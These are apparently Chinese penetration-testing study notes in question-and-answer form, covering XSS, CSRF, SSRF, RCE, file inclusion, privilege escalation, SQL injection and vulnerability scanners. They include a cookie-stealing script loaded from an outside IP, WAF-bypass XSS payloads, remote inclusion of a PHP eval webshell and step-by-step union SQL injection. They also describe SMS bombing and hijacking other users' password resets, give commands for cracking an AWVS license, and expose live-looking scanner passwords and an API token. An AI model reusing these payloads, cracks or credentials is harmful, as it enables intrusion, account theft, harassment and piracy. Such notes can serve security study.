###### 利用xss平台/自己写的代码/或者beef盗取cookie的原理是什么？
xss平台生成一个可以获取cookie的js代码，在一些可能产生XSS漏洞的地方输入此代码即XSS盲打，等待管理员执行，执行成功后，会将
管理员的cookie反弹至自己注册的xss平台
利用beef在搭建的时候会生成一个js代码，意味着别人触发这个js代码后会将对方浏览器的信息发至自己的服务器，这个beef是在内网中的，需要将其映射到外网，或者外网上搭建beef，beef还可诱导他人下载主机木马。
本地服务器写js脚本hacker.js，功能为获取用户cookie，保存信息至文件，有XSS漏洞的地方写入<script src="http://1.117.52.219/hacker.js"></script>
###### 如果盗取到的cookie的无法登陆后台，可能的原因是什么？
cookie无法登陆到后台的原因最有可能是此cookie信息不完整，对方可能不只是采用了cookie验证，也采用了session验证。
而session是存储在服务器的，不可能窃取到session，只能通过遗留在用户浏览器上的信息去获取，如phpinfo()，
想办法让对方触发phpinfo()，然后将这个信息的源码通过xss平台拿到，审查源码获取session，最终登陆到对方后台。
###### cookie与session的区别在哪里？
两者都是作为用户凭据的，用来验证用户的身份信息。
session：储存服务器，存活时间短 大型网站，也称为会话验证，如支付宝登陆之后，一段时间无操作之后需要重新登陆，比较安全，但会占用服务器资源，访问量大则对磁盘很浪费的，实现起来比cookie麻烦。
cookie：储存本地，存活时间长 小中型网站，如登陆网站，一段时间之后仍然可以登陆，不会占用服务器资源，小网站用这个。
###### 如何有效的防止xss漏洞？
httponly:防止通过js脚本获取cookie的信息，这样能够有效的阻止XSS的攻击，但是xss漏洞仍然是存在的。如何开启，对php而言，只需要在php.ini中引入或者在所需过滤的页面中相应过滤即可。
后台的进入：cookie登陆或者账号密码登陆 采用httponly后，限制了cookie的窃取，所以要采用账号密码登陆。
如果对方的浏览器会自动保存账号密码，可利用XSS读取账号密码的获取；如果没有保存的话，需要xss产生登陆地址，进行表单劫持。
此外，可以在有可能产生产生xss的地方加代码的限制，不论是输入还是输出都要进行过滤，还有开启http-only，以及部署waf等策略。
###### 如何用自动化的工具去测试xss？
通过xssstrike，自动过WAF，进行爆破，具体使用为python3 xssstrike.py -u http://192.168.31.200/xss-labs/?name=test --fuzzer
或者通过可以提供xss绕过waf的平台生成代码，依次将这些代码加入可能存在xss漏洞的地方进行测试
或者利用burp配合fuzz字典进行重发，测试能够绕过waf并且成功执行的xss语句。可以在本地搭建相同的环境之后拿到绕过payload，再来测试真实的网址。
常见的绕过waf的有标签语法替换，特殊符号干扰，提交方式更改，垃圾数据溢出，加密解密算法，结合其他漏洞绕过等
###### 如何手工的判断某个地方有没有跨站漏洞？
主要是在页面中输入的数据能够以js形式表示，并且数据包中完美闭合，形成js代码
通过URL地址或者数据包中的篡改，可以在页面中看到对应的参数，将显示的内容根据实际审查中的代码，实际的限制情况及过滤机制进行判断，
看能不能构成闭合的js代码，最后执行成可实现跨站语句的js代码获取对方的cookie的值
###### xss漏洞中可能会产生哪些代码过滤，如何绕过这些过滤？
```
观察发现name中的参数与页面反射的参数一致，尝试将js代码写入url参数中访问即 ?name=<script>alert(1)</script>
尝试分析审查代码，需要进行闭合"> 即 ?keyword="><script>alert(1)</script>
发现此地址会把>给过滤掉，尝试通过html的点击或者滑动实现 第一个引号闭合value ，onclick为了触发点击输入框触发事件，“alert触发弹框 ?keyword='%20onclick='alert(1)&submit=搜索
加引号闭合，加onclick进行点击，加弹框' onclick='alert(1) 即 ?keyword=%22%20onclick=%22alert(1)
过滤了on,即把on过滤为了o_n,过滤了事件，考虑用超链接的手段 链接到js脚本进行跳转 "><a href='javascript:alert(1)'>
过滤了script，on，src，data，href等 发现代码里边只有过滤到了相关字符，但是没有用正则表达式写，尝试用大小写过滤 ?
keyword=%20%22%3E%3Ca%20hRef=%27javascript:alert(1)%27%3E
过滤了大小写，并且也过滤了相关代码 但是此处只过滤了一次，没有多次过滤，类似pphphp的单词过滤，尝试加入二次绕过 ?keyword=%22%3E%3Ca%20hhrefref=%27javasscriptcript:alert(1)%27%3E
过滤了大小写及相关字符，一次绕过时因为不为空故不可二次绕过 尝试通过uncoide编码方式绕过，利用超级加解密转换工具 将javascript:alert(1)进行 编码转换，转为uncoide编码方式进行审查源码
有防止大小写绕过，特殊字符绕过，以及二次绕过 采用uncoide编码后仍然不能绕过，查看源码后发现必须保证http://的存在 前面利用编码绕过过滤的干扰，后边利用//过滤http://的干扰
输入框被隐藏，需要将输入框的类型变为可见 由源码可得，其中的t_sort为过滤><之后加入.干扰的结果 ?keyword=1&t_sort="type=''text"onclick="alert(1)"
输入框被隐藏，源代码中$str11=$_SERVER['HTTP_REFERER']; 更换数据包提交方式 勾选Referer 提交 " type=''text" onclick="alert(1)"
根据对方代码的接受方式选择数据包的伪造 User_agent: " type=''text" onclick="alert(1)"
```
### 14.csrf是什么？
###### CSRF漏洞 ：
跨站点请求伪造，与网站的逻辑相关，有没有检测数据包的合法性，有没有检测数据包的来源是是哪里
比如解惑某管理员添加用户的数据包，将此url地址放在自己网站的某个界面上，当管理员登陆状态访问自己网站时，不经意将触发了自己伪造的恶意数据包，自己可凭借此添加的用户密码登陆其后台。
a转账给其他人的数据包被b截获，b在自己的网站上伪造相同的数据包，并诱导a去访问自己的网站，此时a将不知不觉间给b某转账。
###### 怎么判断有没有csrf漏洞？
根据网站的功能点下手，一般出现在可以修改数据、添加管员或者更新数据的地方
可利用burp进行抓包并发送者enfiner-csrf中，将burp默认产生的html代码按自己的需求进行修改并放在自己的网站上
在登陆后台的情况下，点击此文件判断是否数据被篡改，如果用户数据被篡改则是存在csrf漏洞的
如何知道对方的数据包是需要在本地搭建同样的环境进行测试的
###### csrf的安全防御机制有哪些？
设置随机token：可以理解为数据包的唯一值，根据token来判断数据包是不是之前原始的，而不是别人构造的，有token认证的话一般就没有CSRF漏洞了，每次修改数据的token值都是唯一的
在别的网站里边则会出现不同的token值，则伪造失败，token是随机产生的非常长的一长串，无法进行爆破
也可以进行同源策略：检测referer的来源，在自己的网站上访问自己的某些地址时，数据包来源referer是自己
在自己的网站上访问别人的地址的时，referer会是其他不予执行，但是对方是检测同源的防御策略时，可以通过抓包修改次来源
### 15.ssrf是什么？
###### SSRF 服务器请求伪造(服务器接受远程地址改为服务器接受本地地址)
目标：从外网无法访问的内部系统，如果存在此漏洞可以读取其内网的相关信息
原因：由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤和限制
挖掘：从WEB功能上找 分享，转码，在线翻译，图片加载与下载，收藏，未公开的api实现，或者从url参数上找
###### ssrf漏洞攻击说明？
输入一个远程的地址图片，对方来接受，对方需要对远程图片进行请求，将这个图片进行远程请求地址信息并保存到服务器端
那么也可以在上传图片的链接中填写http://127.0.0.1获取其服务信息，可以访问的内网服务http://192.168.31.200:22
所以ssrf实际上是借助服务器为跳板，去访问服务器才能访问的内网信息
###### ssrf利用的点有哪些？
端口扫描，指纹识别，漏洞利用，内网探针等
有这样的漏洞，可以去在漏洞产生的地方输入一个远程木马，将对方服务器在cs中上线，利用cs做后渗透攻击
### 15.RCE（代码及命令执行漏洞）是什么，怎么产生的？
在WEB应用中，程序员有时候为了考虑灵活、简洁性，会在代码调用代码或者命令执行函数去处理。
比如当一个应用调用一些能将字符串转化为代码的函数时，没有考虑用户是否能控制这个字符串，将造成代码换行漏洞。
eval($_REQUEST['a'])代码执行漏洞 --> 漏洞产生后可以执行相关脚本代码，如读写文件等
eval(echo `$_REQUEST['a']`)命令执行漏洞--> 漏洞产生可以执行相关命令，如操作系统的命令，危害等级较大
echo `$_REQUEST['a']` --> 将代码执行漏洞升级变成了命令执行漏洞
###### 漏洞形成的条件有哪些？
可控变量(漏洞是否存在)，漏洞函数（漏洞形式）
eval字符串当作代码执行 system 字符串当作命令执行
漏洞函数时上传则为上传漏洞，是输出的则为XSS漏洞，为数据库查询则为SQL注入
如果一个网站单纯的展示新闻，没有扩展的接口可供查询，那么不会有此漏洞
###### 一般如何检测漏洞？
白盒：有源码，则就代码审计
黑盒：网站上的漏洞扫描工具awvs xray appscan，网上的公开漏洞，手工看参数值及功能点
有的url地址就可能会有echo等脚本执行代码或者加密后的脚本执行代码
###### RCE命令执行漏洞的利用：
抓包可以很简单的检查出对方所使用的操作系统，hackerbar发包时也可以根据自己的需要进行伪造
postman或者burpsuite进行数据的抓取与重发并修改提交至网站的代码
ping 127.0.0.1 | ls | pwd | whoami 会执行最后边的那条语句
cat表示正序输出文本，tac则表示反序输出文本
利用linux相关的基本命令读取出敏感信息
###### 如何防御RCE代码或者命令执行漏洞？
把echo ls cat tac过滤不现实，但可以固定变量，只执行某些变量
WAF部署，找一些收费的产品部署在上面
php中可执行的敏感函数：eval assert call_usr_func... 直接禁用了它们
### 16.什么是文件包含漏洞？
将文件包含进去之后会调用文件里的代码，即将指定的文件的代码按脚本代码执行，可控制变量+include函数的使用造成文件包含漏洞
如某1.txt中存有phpinfo();的信息，则在url拼接此文本会进行执行，那么就是存在文件包含漏洞
文件包含漏洞直接将其他非脚本代码按脚本代码来执行
###### 如何检测文件包含漏洞？
白盒：代码审计
黑盒：漏扫，公开漏洞，手工看参数值及功能点
###### 文件包含漏洞有哪些？
本地无限制的包含漏洞：只能利用本地文件如：http://192.168.31.200/include.php?filename=../../../../../../1.txt
本地有限制的包含漏洞：有一些干扰，需要用特殊的方法绕过，如：
http://192.168.31.200/include.php?filename=phpinfo.txt%00 php版本<5.3.4
http://192.168.31.200/include.php?filename=phpinfo.txt..........................长度截断，windows只能识别256位，linux长于4096位
远程文件无限制包含漏洞：可以自己去创建确定对方可访问的文件如：http://192.168.31.200/include.php?filename=http://chentuo.asia/1.txt，利用此漏洞可以加上<?php @eval($_POST['x']);?>，利用菜刀连接
远程文件有限制包含漏洞：如?filename=http://chentuo.asia/1.txt%00，?filename=http://chentuo.asia/1.txt%23
###### 文件包含漏洞的利用？
?filename=php://filter/read=convert.base64-encode/resource=1.txt
?filename=php://filter/read=convert.base64-encode/resource=index.php (不需要打开开关)
?filename=php://input
http://192.168.31.200/include.php?filename=file:///C:/1.txt
http://192.168.31.200/include.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.31.200/include.php?filename=data://text/plain,<?php echo 'shabi';?>
利用时需要查找资料判断是否支持相关协议的使用
### 17.文件下载漏洞？
文件被解析：则是文件包含漏洞；显示源代码：则是文件读取漏洞；文件被下载，则是文件下载漏洞。
如果下载不到数据库配置文件或者web.xml等，可以去下载跟系统相关的配置信息
###### 文件下载漏洞中的注意点：
可以下载一些恶意文件：后台首页日志文件，数据库配置文件（扫描工具爬行或这下载好的代码去分析路径），各种接口文件，密钥信息等文件
目录爬行寻找已知文件的目录，查看源码中的include寻找更多的敏感目录信息,通过跳级即../的形式去下载得到路径的敏感文件
/Users/chentuo/Public/tool/webpath_网站目录字典/DirScan 来自安全圈的字典/php.txt是个很全的字典
能下载到的与直接在前端url界面上拼接地址的完全是不一样的，一个是源文件，一个是已经被解释后的文件。
###### java中配置文件的下载：
如何发现了下载漏洞但是get方法无法获取到文件，可以尝试切换到post或者其他提交方式进行下载
javaWEB中WEB的配置文件WEB-INF/web.xml，里边有很多重要的信息
配置文件中的com.wm.ctf.FlagController表示实际中的WEB-INF/classes/com/wm/ctf/FlagController.class
###### php中配置文件的下载：
如果需要登陆可以点击登陆查看一下数据包进行分析数据包
分析url地址判断是可能存在哪种漏洞，判断对方是根据哪个关键字识别是否登陆的
如果有mvc的框架，可以去尝试下载module中的敏感文件如..xx../etc/nginx/nginx.conf
###### 黑盒情况下如何发现文件下载漏洞？
根据文件名和参数值、功能点去发现：
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
../ ..\ .\ ./等
%23 ? %00 %20 .等
&readpath &filepath &path &inputfile &url &data
&readfile &menu &META-UNF WEB-INF
### 18.静态编译和动态解释：
编译型语言定义：编译型语言首先是将源代码编译生成机器指令，再由机器运行机器码 (二进制)。
解释型语言的定义：解释型语言的源代码不是直接翻译成机器指令，而是先翻译成中间代码，再由解释器对中间代码进行解释运行。
###### java是属于静态编译还是动态解释？
编译型和解释型的定义是对立存在的，但也可以在一个语言中同时存在。比如 java 语言同时兼有编译型和解释型特点。整个流程如下：
将源代码（.java 文件）编译生成字节码（.class 文件），再通过 JVM（java 虚拟机）运行生成机器指令，由机器运行机器码。注意，此处生成机器语言前的操作是解释型，每次运行都要重新解释。因此，此处表明 java 是解释型。
但是，部分 JVM（java 虚拟机）有一种 JIT（Just in time）机制，能够将部分已经解释翻译的常用机器指令保存。下次不需要解释，直接运行即可。此时 java 是编译型。
因此，现在用编译型和解释型区分语言是行不通的。
### 19.什么是逻辑越权，分为哪几种？各有什么样的危害？
水平越权：普通用户A有了普通用户B的访问权限 危害到了网站上其他用户信息的安全
垂直越权：普通用户A有了管理员或者超级管理员的权限
未授权访问：不需要登陆就有了权限，可以操作需要登陆才能操作的行为
###### 水平越权中前期信息收集如何获得其他人的名称信息？
网站的注册，如果用户名已经注册，表示这个用户是存在的
网站可以访问其他人的空间可以判断这个人是否存在
###### 垂直越权里边是否可以拿到可以伪造的数据包？
要进行垂直越权漏洞的验证，前提必须获取添加用户的数据包
普通用户有操作界面可以抓取数据包
通过本地搭建网站源码自己模拟抓取
或者就是盲猜
###### 逻辑越权产生的原因是什么？前后端需要注意什么？
前端安全造成：界面，判断用户等级之后，代码界面部分进行可选显示
后端安全造成：数据库 user表 管理员和用户同表 根据usertype/level/other来判断是否是什么权限
或者用类似的字符去判断用户的级别，如果在访问网站数据包中有传输用户的编号、用户组编号或者类型编号的时候，那么尝试对这个值进行修改，就是测试越权漏洞
###### 怎么检测一个网站是否有逻辑越权？具体原理是怎样的？
登陆普通用户A，拿到用户A的cookie，通过前期的信息收集去在访问A的数据包里修改部分数据，使得当前查看信息的url执行另一个用户B，此时仍用的是A的cookie凭据，如果能够得到B的身份信息，那么就是存在水平越权漏洞的。可以选择burp下的intruter不断重发编号，测试其他用户的编号。
如果用A的cookie的凭据登陆了后台管理员的账户，那么就是垂直越权漏洞。
如果不用任何的普通用户登陆，就可以进入对方的后台，就属于未授权访问。
###### burp中的插件authz是如何使用的？
登陆普通用户A，截取数据包，利用intruter模式将用户A的姓名换成其他用户的姓名（前提是撇开密码的影响，或者密码已经可以实现突破），将数据发送至authz模式，鞋带上A用户的cookie凭据，根据回复的特征码判断用户是否登陆成功。
###### 如何使用burp的插件AuthMatrix进行逻辑越权的判断？
需要安装jython和jruby两个环境，倒入至burp的扩展应用中。
AuthMatrixy插件用于越权漏洞的检测，在插件中配置多个不同用户的Cookies，检测各等级账号对页面的访问权限。
在靶场注册两个账号发送至burp中，在burp中authmatrix中添加用户角色为对应的账号。
在登陆出进行抓包，发送至repeater模式，将两个用户的cookie的信息分别发送至各自对应的插件用户中。
在 Repeater 或 Proxy 的 HTTP History 处选择需要检测的 requests 后右键，选择 Send request to AuthMatrix。
run会自动将每个 request 里的 cookie 换成之前设置的同名 cookie，当 response 匹配到正则时，会出现红色，反之是绿色
###### 谷歌浏览器中哪款插件可以进行逻辑越权的判断？
https://github.com/ztosec/secscan-authcheck ,可以很方便的检测越权漏洞，但环境部署失败了
###### 如何防范逻辑越权？
前后端同时对用户输入信息进行校验，双重验证机制
直接加密资源ID，防止攻击者枚举ID，敏感数据的特殊化处理
永远不要相信来自用户的输入，对于可控参数的严格检查于过滤
各种个样的WAF产品
数据可以直接从数据库中取，而非从数据包中获取数据
回退重换：先购买一个产品，在重新购买一遍，如果没有检测数据包的唯一性或者token，那么会在此购买，于是可以以低价格实现高价格的购买，这是逻辑上的一个问题产生在多方面的，称为逻辑安全问题
### 20.http与https登陆的区别在哪里？两者进行爆破需要注意什么？
http登陆的时候密码是明文显示的,正常的话是不会加密的，可以依次替换字典进行爆破
如果加密了，可以尝试破解加密方式，将自己的注入点代码进行同样的加密方式加密然后发送至服务器
https一般都是加密了的，尝试是否能破解其加密手段，如果无法破解那么意味着无法爆破
###### 登陆的地方进行爆破的方式？
第一种方式是直接跑字典，第二种方式是在破解对方加密手段后将自己的字典以加密的形式发送出去。
###### burp如何进行爆破配合加密进行对网站后台的突破？
首先用目录扫描工具扫描出对方网站的后台地址并尝试登陆，抓取数据，将数据发送至intruder，加载密码字典，以hash算法中的加密算法进行加密自己的字典，进行暴力破解。根据返回数据的长度判断是否破解成功。
Hash，一般翻译做散列、杂凑，或音译为哈希，是把任意长度的输入通过散列算法变换成固定长度的输出，该输出就是散列值。其中md5就属于一种hash算法。
###### cookie脆弱点的攻击
有的登陆是需要验证cookie的，cookie过滤不严谨导致可以随意篡改数据包登陆
如何寻找cookie的脆弱点很难，需要结合源码审计完成，如有的网站逻辑验证不完善，会在登陆的cookie的地方进行判断，只是一个简单的判断的地方可以自己进行绕过。
###### 商品购买流程中可能出现的漏洞：
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
根据购买时抓取数据包进行分析，测试是否能修改数量，订单编号，商品等信息
主要看对方的数据包中传入的是什么参数，从而进行测试
如果对方代码逻辑不严谨，可以对低价订单购买高价订单，伪造商品数量，伪造商品价格，伪造当前订单编号等效果
### 21.找回密码流程时可能存在哪些漏洞，如何利用？
### 什么情况可以爆破，是否可以替换为其他的验证码？
找回密码时存在一个验证码复用的问题，开发者只产生了生成验证码，没有对当前的验证码与手机号进行对应，
于是可以利用一个已知的手机号码去申请一个验证码，在利用这个验证码去修改其他人的手机号密码即可。
如果此验证码是纯数字加字母的情况，并且后台没有做任何限制，比如一分钟最多请求1次，可以进行爆破。
在数据包中看是否有验证码的信息体现，是否被加密了，能否解密出来等情况。
###### 三段验证与一段验证具体上操作有什么区别？
区别在于绕过的方式是不同的，一般采用如下两种方法
一般是第一个页面 输入手机号 获取验证码 第二个页面 重置密码
但如果是对方只有一个页面，这个页面里边能填写所有信息，那么就不安全
先用自己的手机号写上去，得到验证码，保证验证码正确的前提下，修改自己的手机号为另一个用户的手机号，改变其手机号的密码（在数据包里改掉手机号）
如果是第一个页面 获取验证码 第二个页面 验证 第三个页面 重置密码
把三个页面的数据包全部抓到，在第一个页面的数据包加载完成之后替换为第三个页面的数据包，将第二个页面给直接跳过，是流程问题
###### burp代理回复的数据包，如何代理？有何意义？
不仅可以只拦截由本地发送的数据包并且进行篡改，而且也可以拦截由对方服务器发送的数据包，进行回复数据的伪造
在截取到发送的数据包后进行操作dointercept---response to this request，可以截取回复的数据包
某些应用会通过服务器的回显值来判断是否加载某些有权限的页面，可以更改次回复值进行伪造
如何通过burp抓取验证码的回复值实现任意手机号无验证码修改密码？有什么前提条件？有什么特点？
前提是对方开发者的逻辑上有这个漏洞，验证码本应存储在对方后台且使用过后就要销毁的
如果对方针对一个验证码就只有一次验证的机会的话，是不会有这个漏洞的
###### burp代理手机流量的时候需要注意什么地方？
代理手机流量的时候，burp的代理要开在主机ip地址下的某个开放的端口，而不能是本地回环地址
同时手机需要和burp处于同一局域网内，并在局域网的代理处设置为burp开的代理
###### 短信轰炸的原理是什么？如何实现？
某些应用点击注册的时候截获数据包，将这个数据包进行截取，在数据包中可能会有明文传送的手机号
将此手机号设置为一个动态的payload，通过自己已知的其他人的字典进行发包，通过设置延时发送数据包
实现了对手机号的短信轰炸的功能
服务端验证码验证可能会有什么漏洞？怎么突破？
服务端的验证码一般是复用的问题或者进行爆破，可以重复利用某一个验证码或者将验证码从0开始爆破
客户端验证码是否会有漏洞存在？如何判断时客户端的验证？如何突破？
客户端验证码一般是通过js文件加载的，客户端的验证完全可以通过代理软件进行突破
验证码复用可以用来做什么？可能会遇到什么障碍？
可以任意修改别人手机号对应的密码，可能遇到的是60s认证障碍。
### 22.token是什么？
token每一次登陆的时候都会随机产生一个，是防护者做的一个安全体系，是比较安全的。一般很难破解，如sha256算法没有密钥是没法得到解密信息的，可以尝试用爆破，或者从返回数据中截取token测试。如果没有就放弃。
###### burp 中intruder的四种模式分别是什么？
```
Sniper--1 payload set--其他变量不变，第一个变量先遍历所有的payload，以此类推
Battering Raw--1 payload set--所有变量同时改变，同时取到payload中的值进行遍历
Pitchfork -- 2 payload set -- 两个变量同时取到各自payload目录中的相同的位置的载体
Cluster bomp -- 2 payload set -- 其他变量不变，第一个变量遍历自己的payload，然后其他变量的自身的payload往后推一，类推
```
###### 如何利用burp同时改变密码和token，且token是从返回包中截取的？
在爆破密码的时候选择pitchfork模式，密码作为变量，其内容为暴力破解字典
token值作为变量，线程设置为1，（多线程一次操作发送了多个数据，这多个数据的token值是不同的），打开最底部always cookiex开关，grep扩展中，找到自己要截获的前端页面上的token值并加载
选择payloads中的递归搜索Recurisive grep模式，加载此截获的token值，发送数据包
###### burp如何使用爬虫功能对网站探测并进行筛选？
burp中将数据包截获之后有发送至爬虫模式，当前阶段预览的数据功能足够多的情况下，可以通过爬虫模式识别网站的目录结构，以及关键信息的过滤，根据特定的关键词寻找漏洞。
###### burp的扫描漏洞功能如何？
将数据包截获够发送到scanner，只能扫描到一些非常浅的东西，不推荐使用。
### 23.什么序列化，什么是反序列化？有什么危害？
序列化就是将对象转化为字符串，反序列化相反，数据的格式的转换对象的序列化利于对象的保存和传输，
危害：SQL注入，代码执行，目录遍历
脚本语言序列化后变成 二进制/XML/json 的形式，后者转化为前者是反序列化
###### php中无类字符如何进行序列化与反序列化？var_dump(unseriral($flag))有什么作用？
```
<?php
$KEY='i:123';
echo unserialize($KEY); //这是反序列化json格式转化成对象格式
?>
当然，也可以正向运行，拿到序列化后的值，在代入到此代码中反序列化即可
<?php
$KEY='IServer:www.isecer.com';
echo serialize($KEY); //这是序列化转化成json格式
?>
var_dump(unseriral($flag))可以将一个反序列化后的类的值打印出来
```
###### 如何篡改数据包中的数据，有哪几种方法？
通过浏览器插件，或者burp，或者其他代理软件。
###### 代码的执行顺序对漏洞的产生有什么影响？
注意某些变量的赋值顺序，赋值在后，在为空，可能会对破解造成一定的干扰。
###### php中有类的反序列化中几个常见的魔术方法？如何触发？
```
_construct()//创建对象时触发
__destruct() //对象被销毁时触发
__wakeup()，执行unserialize()时，先会调用这个函数
```
###### php中两个等于与三个等于号的区别在哪里？
两个等于号并不是严格意义上的等于，比如‘ 2’==‘2’
而三个等于号必须是严格意义上的等于，比如‘3’===‘3’
###### php反序列化漏洞产生的原因是什么，如何利用这个漏洞？
php中有一些魔术方法，在实例化时后者其他操作时不经意间出发了类中的方法，可以利用这个特点，将自己伪造的数据带入其中，让自己伪造的数据反序列化后可以读取存储在类中魔术方法中的数据
###### 如果参数是一个类，如何通过反序列化来传这个类？
需要重写这个类，并且将所有的变量按照自己破解的规范进行书写，最后进行实例化
### 24.java的序列化和反序列化？
writeobject先转化为json，在readwrite转化为对象，中间有函数
Runtime.getRuntime().exe c(this.taskAction); 调用了系统命令
序列化：将对象转化为字节的过程称为序列化过程。
反序列化：将字节转化为对象的过程称为反序列化。
###### java反序列化漏洞产生的原因？如何利用？生成payload的原理是什么？
漏洞产生的原因就在于数据执行了系统命令，并且这个参数序列化后可以人为的进行控制。
###### jar文件怎么反编译，方便审计代码？
通过jd-jui或者相应的java的idea工具进行反编译获取源码。
###### ysosersial怎么生成反弹shell 的payload？流程是什么？为什么反弹，解决了什么问题（不回显）？
原始数据->序列化writeobject->base64编码->传输->base64解码->反序列化readobject->最终数据
反弹的作用在于即便成功的执行了相关系统命令，也不能接受到相应的回显，所以需要反弹shell
###### 如何区别base64编码和十六进制编码的java序列化后的数据？如何判定是否是序列化操作？
一段数据以rO0AB开头，基本可以确定这串就是JAVA序列化base64加密的数据
或者如果以aced开头，那么他就是这一段java序列化的16进制
只要是开头是这样的数据，就可以认为这是java的反序列化。
###### swagger是java的什么？
是专门用来搞java开发的一个管理UI界面的一个模块，这个界面是反序列化漏洞产生的有关的。
可以通过这个组件的界面去管理java的反序列化后的相关数据。
###### 如何寻找java反序列化漏洞？
根据相关的关键词信息进行筛选，判断是否存在可以输入序列化后的值的地方。
### 25.拿到一个网站之后应该怎么攻击？
###### 网站搭建习惯
目录型号 ： 一个网站里边有一套CMS，其子目录里边有另外一套CMS
端口型号：除了80端口的其他端口有其他的CMS
子域名：同属于同一个顶级域名下的其余子域名
类似域名：同一家公司的相似的域名
旁注：同一服务器下的多个域名
C段：同一网段、不同服务器下的域名
###### 网站渗透思路 端口+域名+关键词+备案+robots
```
信息收集的操作------
直接用黑暗引擎搜索域名：得到相关端口信息
搜索相关子域名的信息：谷歌/在线工具/layer
用nmap进一步获取信息：各个端口是否有漏洞
爆出服务版本后：在各大漏洞平台查询此漏洞是否存在过相关漏洞
备案信息查询：通过备案信息查看是否注册过其他域名
其他域名的信息收集：在黑暗引擎上搜索相关的域名
在谷歌上搜索：公司信息及域名中的相关关键词
在网站上的操作：跟上robots.txt查找爬虫协议，强制报错看页面回显
CMS的识别：查询每个网站目录的CMS攻击层面
并且循环这个测试步骤………………
```
###### mysql注入流程
从上至下，逐级渗透：数据库名-表名-列名-数据-......
猜解列名：
id=1 order by 1
id=1 order by 2
.....
id=1 order by 4 猜到临界点可得错误页
报错猜解准备：
id=1 union select 1,2,3,4
id=1 and 1=1 union select 1,2,3,4 爆出一个数字的错误
或者id=-1 union select 1,2,3,4
根据报错的数字查询：(如这里有2，3)
id=-1 union select 1,database(),version(),4
id=-1 union select 1,user(),@@version_compile_os,4
查询指定数据库下的表名信息：
id =1 union select 1,table_name,group_concat(table_name),4 from infomation_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询指定表名下的列名信息：
id =1 union select 1,table_name,group_concat(column_name),4 from infomation_schema.columns where table_name='StormGroup_name'
查询指定数据：
id =1 union select 1,name,passwd,4 from StormGroup_name
破解加密信息：
md5解密或者其他的进行解密查询最终密码
```
information_schema.schemata;记录所有的数据库名
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
```
### 26.系统漏洞扫描有什么意义，可以采取哪些软件？
网站寄生在服务器上边，如果服务器有漏洞，可以直接通过服务器的漏洞获取到网站的权限。
有忍者渗透系统中的goby，以及nmap扫描漏洞，以及nessus扫描系统漏洞，其中nessus比较好使。
###### 扫描到漏洞之后怎么利用，怎么寻找EXP？
工具框架：msf(aux表示验证,search,use,show options,set ,run)，searchexploit
单点POC：CNDV，seebug，exploit-db，0day
文章复现：结合网络上存在的相关信息，或者在github上寻找exp
###### exploitdb 搜索相关的漏洞是否存在
./searchsploit blue
可以很便捷的搜索到是否存在相关的漏洞,exp就在对应目录里边
或者在https://www.exploit-db.com/中进行搜索
是国外的人写出来的，对国内不出名的cms不敏感
###### 如何修复这些漏洞？
打上官方公开的补丁，关闭漏洞产生的入口，部署相关WAF，搞到蓝队的武器。
###### 如何使用nessus进行系统漏洞的发现 leishianquan/awvs-nessus 漏洞发现
```
docker pull leishianquan/awvs-nessus
docker run -it -d --name="awvs-nessus" -p 13444:3443 -p 13445:8834 leishianquan/awvs-nessus:v4
docker exec –it `docker ps | grep nessus | awk '{print $1}'` /bin/bash
/etc/init.d/nessusd start
```
awvs
```
cp /home/license_info.json /home/acunetix/.acunetix/data/license/ 破解awvs：
chmod 444 license_info.json
在awvs运行过程中，license_info.json文件会被持续覆盖造成破解无效
在执行完cp命令, 将license_info.json设置为只读即可
https://110.42.178.227:13444/ awvs13 username: [email protected] awvs13 password: Leishi123
https://110.42.178.227:13445/ nessus username:leishi nessus password :leishianquan
```
### 27.web漏洞如何扫描？有什么好办法？
已知cms：漏洞平台扫描（exploit-db，seebug，cnvd，0day），cms扫描工具（cmsscan，wpscan，tpscan，joomscan，drupalscan），代码审计（函数点挖掘，功能点挖掘，框架类挖掘）
开发框架：PHP（thinkphp），java（shiro，struts，spring，maven），python（django，flask）
未知cms：工具（xray，awvs，appscan），人工探针（应用功能，URL参数，盲猜测试）
###### 如何确认对方的框架？确认之后怎么利用？
通过报错看是否有相应的框架信息被暴露出来，或者抓取数据包看能否看到server
或者将数据包中比较特殊的url复制出来，在黑暗引擎上搜索其他可以通过报错看到框架信息的网址
通过这些方法找出来框架之后在针对框架进行漏洞利用
如可以通过thinkphp远程命令执行工具直接一步检测，漏洞平台查找，或者文章复现或者vulhub寻找
###### 如何确定对方采用的cms？怎么利用？
用在线工具直接搜索，用谷歌的插件辅助识别，用数据包中特殊的url地址进行搜索，看网站的特殊位置人工识别
在漏洞平台上搜索，利用这个cms特定工具进行搞，或者文章复现等来利用
如利用wpscan针对wordpress的漏洞进行利用 gem install wpscan
wpscan --url http://1.117.52.219:8000/ --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc
如果cms和框架都没问题，需要源码审计，怎么审？
sql参数控制中的可控来源在那里，去分析这个人为控制的来源在哪里
去看一下这个源码，分析这个源码可能会在哪里有漏洞，哪里可以有输入
### 28.案例思路：
```
访问robots.txt 根据爬虫信息观察
进行初步CMS判断，及是否存在漏洞
进行报错判断，看是否显示版本信息
尝试获取对方cms版本，如/data/admin/ver.txt
进行CMS中某些敏感文件的下载
尝试目录扫描
尝试寻找登录的后台地址
尝试弱口令爆破后台地址
端口扫描进行观察
判断其他关键信息
发现888端口暴露，尝试宝塔未授权漏洞
进行遗留源码的获取，尝试备份文件的搜索
审计源码目录，获取数据库账号密码
尝试navicat进行连接数据库
普通用户可支持外联，但宝塔却有限制
搜寻源代码，寻找更多的历史遗留信息
在源文件中找到更早之前的备份文件
最终连接数据库成功
```
### 29.手机软件如何进行渗透测试？
反编译提取url，抓包获取url(bp,charles,fiddler,抓包精灵)，如不存在此协议，转移到其他协议(wireshark)测试
根据url进行扫描工具的使用，找交互的地方，找可能出现sql出现的url如?id=
利用charles进行app的扫描，这个用来抓取手机app的数据更适用
###### 如果app内中可以打开页面，但是用网页打开显示不出来？
对方有识别，检测到在使用app时可以正常访问，但是用网页打开时数据包构造不同
可以改变每一次访问时的user-agent，或者利用xray进行被动扫描
###### xray如何配合burp实现联动，有什么意义？
